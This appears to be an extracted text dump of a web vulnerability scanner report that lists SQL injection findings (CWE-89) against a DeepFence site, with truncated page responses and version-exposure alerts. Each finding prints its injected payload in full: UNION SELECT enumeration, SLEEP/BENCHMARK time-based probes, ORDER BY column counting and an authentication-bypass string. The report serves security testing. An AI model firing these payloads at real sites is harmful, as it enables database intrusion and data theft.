script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1455
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1456
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
NULL
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1457
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1458
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1459
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1460
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1461
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1462
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or benchmark(50000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1463Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1464
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '%20o/**/r%201/0%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1465
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1466
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1467
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryAlerts hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1468
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or '1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1469
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
